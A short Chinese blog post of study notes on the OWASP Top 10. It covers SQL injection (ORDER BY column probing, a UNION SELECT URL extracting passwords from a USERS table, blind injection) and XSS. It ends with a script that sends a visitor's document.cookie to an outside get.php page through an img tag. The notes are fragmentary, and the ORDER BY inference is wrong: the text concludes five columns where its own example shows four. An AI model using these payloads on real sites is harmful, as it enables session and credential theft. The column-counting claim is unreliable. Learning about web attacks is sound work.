OWASP TOP 10
作者:互联网
SQL注入
如何发现SQL注入?
eg:
select * from table order by 5; ->无结果
select * from table order by 4; ->有结果
可知数据库表一共有五列
UNION SELECT
用法如:www.study.com/?id=1 UNION SELECT 1,2,3,PASSWORD FROM USERS
盲注
举例:
真返回1 假返回2
XSS攻击
跨站脚本攻击(cross site scripting) 不和层叠样式表CSS混淆,改为XSS
攻击者往web页面中插入恶意script代码,用户浏览网站时嵌入其中的script代码会自动执行,实现恶意攻击
session&cookie
x
XSS实例
<script>
var cook=document.cookie;
var img = '<img src = http://www.study.com/get.php?cook='+cook+'>';
document.write(img);
</script>
标签:XSS,img,10,TOP,OWASP,select,var,table,SELECT 来源: https://blog.csdn.net/jiaqi0806/article/details/119332594